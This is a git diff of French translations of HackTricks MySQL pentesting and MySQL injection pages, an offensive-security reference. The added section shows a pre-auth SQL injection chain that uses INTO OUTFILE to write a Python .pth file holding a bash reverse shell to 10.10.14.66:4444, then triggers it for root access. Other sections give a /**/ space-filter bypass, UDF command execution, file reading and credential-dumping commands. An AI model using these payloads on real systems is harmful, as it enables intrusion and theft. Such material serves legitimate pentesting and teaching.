Translated ['src/network-services-pentesting/pentesting-mysql.md', 'src/

This commit is contained in:
Translator 2025-07-14 08:42:11 +00:00
parent 6183c7bd6b
commit acf633b12a
2 changed files with 80 additions and 14 deletions

View File

@ -1,10 +1,15 @@
# 3306 - Pentesting Mysql
{{#include /banners/hacktricks-training.md}}
## Références
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}
## **Informations de base**
**MySQL** peut être décrit comme un système de gestion de base de données relationnelle (RDBMS) open source qui est disponible gratuitement. Il fonctionne sur le **Structured Query Language (SQL)**, permettant la gestion et la manipulation des bases de données.
**MySQL** peut être décrit comme un **Système de Gestion de Base de Données Relationnelle (SGBDR)** open source qui est disponible gratuitement. Il fonctionne sur le **Langage de Requête Structuré (SQL)**, permettant la gestion et la manipulation des bases de données.
**Port par défaut :** 3306
```
@ -103,15 +108,52 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
```
Vous pouvez voir dans la documentation la signification de chaque privilège : [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### Exécution de code à distance via un fichier MySQL
### Exécution de code à distance via fichier MySQL
{{#ref}}
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
## Lecture de fichiers arbitraires par le client MySQL
#### INTO OUTFILE → RCE `.pth` Python (hooks de configuration spécifiques au site)
En fait, lorsque vous essayez de **charger des données locales dans une table**, le **contenu d'un fichier** le serveur MySQL ou MariaDB demande au **client de le lire** et d'envoyer le contenu. **Ensuite, si vous pouvez manipuler un client mysql pour se connecter à votre propre serveur MySQL, vous pouvez lire des fichiers arbitraires.**\
En abusant du classique `INTO OUTFILE`, il est possible d'obtenir une *exécution de code arbitraire* sur des cibles qui exécutent ensuite des scripts **Python**.
1. Utilisez `INTO OUTFILE` pour déposer un fichier **`.pth`** personnalisé dans n'importe quel répertoire chargé automatiquement par `site.py` (par exemple `.../lib/python3.10/site-packages/`).
2. Le fichier `.pth` peut contenir une *ligne unique* commençant par `import ` suivie de code Python arbitraire qui sera exécuté chaque fois que l'interpréteur démarre.
3. Lorsque l'interpréteur est exécuté implicitement par un script CGI (par exemple `/cgi-bin/ml-draw.py` avec shebang `#!/bin/python`), la charge utile est exécutée avec les mêmes privilèges que le processus du serveur web (FortiWeb l'a exécuté en tant que **root** → RCE complète avant authentification).
Exemple de charge utile `.pth` (ligne unique, aucun espace ne peut être inclus dans la charge utile SQL finale, donc hex/`UNHEX()` ou concaténation de chaînes peut être nécessaire) :
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Exemple de création du fichier via une requête **UNION** (les espaces sont remplacés par `/**/` pour contourner un filtre d'espace `sscanf("%128s")` et maintenir la longueur totale ≤128 octets) :
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Limitations importantes et contournements :
* `INTO OUTFILE` **ne peut pas écraser** les fichiers existants ; choisissez un nouveau nom de fichier.
* Le chemin du fichier est résolu **par rapport au CWD de MySQL**, donc préfixer avec `../../` aide à raccourcir le chemin et à contourner les restrictions de chemin absolu.
* Si l'entrée de l'attaquant est extraite avec `%128s` (ou similaire), tout espace tronquera la charge utile ; utilisez les séquences de commentaires MySQL `/**/` ou `/*!*/` pour remplacer les espaces.
* L'utilisateur MySQL exécutant la requête a besoin du privilège `FILE`, mais dans de nombreux appareils (par exemple, FortiWeb), le service s'exécute en tant que **root**, donnant un accès en écriture presque partout.
Après avoir supprimé le `.pth`, demandez simplement n'importe quel CGI géré par l'interpréteur python pour obtenir une exécution de code :
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Le processus Python importera automatiquement le fichier `.pth` malveillant et exécutera le payload shell.
```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
---
## Lecture de fichier arbitraire MySQL par le client
En fait, lorsque vous essayez de **charger des données locales dans une table**, le **contenu d'un fichier** est demandé par le serveur MySQL ou MariaDB au **client pour le lire** et envoyer le contenu. **Ensuite, si vous pouvez manipuler un client MySQL pour vous connecter à votre propre serveur MySQL, vous pouvez lire des fichiers arbitraires.**\
Veuillez noter que c'est le comportement en utilisant :
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -147,11 +189,11 @@ Dans la configuration des services MySQL, divers paramètres sont utilisés pour
- Le paramètre **`user`** est utilisé pour désigner l'utilisateur sous lequel le service MySQL sera exécuté.
- **`password`** est appliqué pour établir le mot de passe associé à l'utilisateur MySQL.
- **`admin_address`** spécifie l'adresse IP qui écoute les connexions TCP/IP sur l'interface réseau administrative.
- La variable **`debug`** est indicative des configurations de débogage présentes, y compris des informations sensibles dans les journaux.
- La variable **`debug`** indique les configurations de débogage actuelles, y compris des informations sensibles dans les journaux.
- **`sql_warnings`** gère si des chaînes d'information sont générées pour les instructions INSERT à une seule ligne lorsque des avertissements apparaissent, contenant des données sensibles dans les journaux.
- Avec **`secure_file_priv`**, la portée des opérations d'importation et d'exportation de données est contrainte pour améliorer la sécurité.
### Élévation de privilèges
### Escalade de privilèges
```bash
# Get current user (an all users) privileges and hashes
use mysql;
@ -171,7 +213,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Escalade de privilèges via bibliothèque
Si le **serveur mysql fonctionne en tant que root** (ou un autre utilisateur avec plus de privilèges), vous pouvez le faire exécuter des commandes. Pour cela, vous devez utiliser des **fonctions définies par l'utilisateur**. Et pour créer une fonction définie par l'utilisateur, vous aurez besoin d'une **bibliothèque** pour le système d'exploitation qui exécute mysql.
Si le **serveur mysql fonctionne en tant que root** (ou un autre utilisateur avec plus de privilèges), vous pouvez lui faire exécuter des commandes. Pour cela, vous devez utiliser des **fonctions définies par l'utilisateur**. Et pour créer une fonction définie par l'utilisateur, vous aurez besoin d'une **bibliothèque** pour le système d'exploitation qui exécute mysql.
La bibliothèque malveillante à utiliser peut être trouvée à l'intérieur de sqlmap et à l'intérieur de metasploit en faisant **`locate "*lib_mysqludf_sys*"`**. Les fichiers **`.so`** sont des bibliothèques **linux** et les **`.dll`** sont celles de **Windows**, choisissez celle dont vous avez besoin.
@ -216,7 +258,7 @@ SELECT sys_exec("net localgroup Administrators npn /add");
```
### Extraction des identifiants MySQL à partir de fichiers
À l'intérieur de _/etc/mysql/debian.cnf_, vous pouvez trouver le **mot de passe en clair** de l'utilisateur **debian-sys-maint**.
À l'intérieur de _/etc/mysql/debian.cnf_, vous pouvez trouver le **mot de passe en texte clair** de l'utilisateur **debian-sys-maint**.
```bash
cat /etc/mysql/debian.cnf
```
@ -609,6 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## Références
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -52,7 +52,7 @@ from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/]
## Flux
N'oubliez pas que dans les versions "modernes" de **MySQL**, vous pouvez substituer "_**information_schema.tables**_" par "_**mysql.innodb_table_stats**_**"** (Cela pourrait être utile pour contourner les WAF).
Rappelez-vous que dans les versions "modernes" de **MySQL**, vous pouvez substituer "_**information_schema.tables**_" par "_**mysql.innodb_table_stats**_**"** (Cela pourrait être utile pour contourner les WAF).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
@ -131,16 +131,38 @@ Si à un moment donné vous connaissez le nom de la table mais que vous ne conna
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
Supposons qu'il y ait 2 colonnes (la première étant l'ID) et l'autre étant le flag, vous pouvez essayer de brute-forcer le contenu du flag en essayant caractère par caractère :
Supposons qu'il y ait 2 colonnes (la première étant l'ID) et l'autre le flag, vous pouvez essayer de brute-forcer le contenu du flag en essayant caractère par caractère :
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
Plus d'infos sur [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### Injection sans ESPACES (`/**/` astuce de commentaire)
Certaines applications assainissent ou analysent les entrées utilisateur avec des fonctions telles que `sscanf("%128s", buf)` qui **s'arrêtent au premier caractère d'espace**.
Parce que MySQL traite la séquence `/**/` comme un commentaire *et* comme un espace, elle peut être utilisée pour supprimer complètement les espaces normaux du payload tout en gardant la requête syntaxiquement valide.
Exemple d'injection aveugle basée sur le temps contournant le filtre d'espace :
```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```
La base de données reçoit comme :
```sql
' OR SLEEP(5)-- -'
```
C'est particulièrement utile lorsque :
* Le tampon contrôlable est de taille restreinte (par exemple, `%128s`) et les espaces termineraient prématurément l'entrée.
* Injection à travers des en-têtes HTTP ou d'autres champs où les espaces normaux sont supprimés ou utilisés comme séparateurs.
* Combiné avec des primitives `INTO OUTFILE` pour atteindre un RCE complet avant authentification (voir la section MySQL File RCE).
---
### Historique de MySQL
Vous pouvez voir d'autres exécutions dans MySQL en lisant la table : **sys.x$statement_analysis**
Vous pouvez voir d'autres exécutions à l'intérieur de MySQL en consultant la table : **sys.x$statement_analysis**
### Versions alternatives**s**
```
@ -150,11 +172,12 @@ mysql> select version();
```
## Autres guides d'injection MYSQL
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## Références
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../../../banners/hacktricks-training.md}}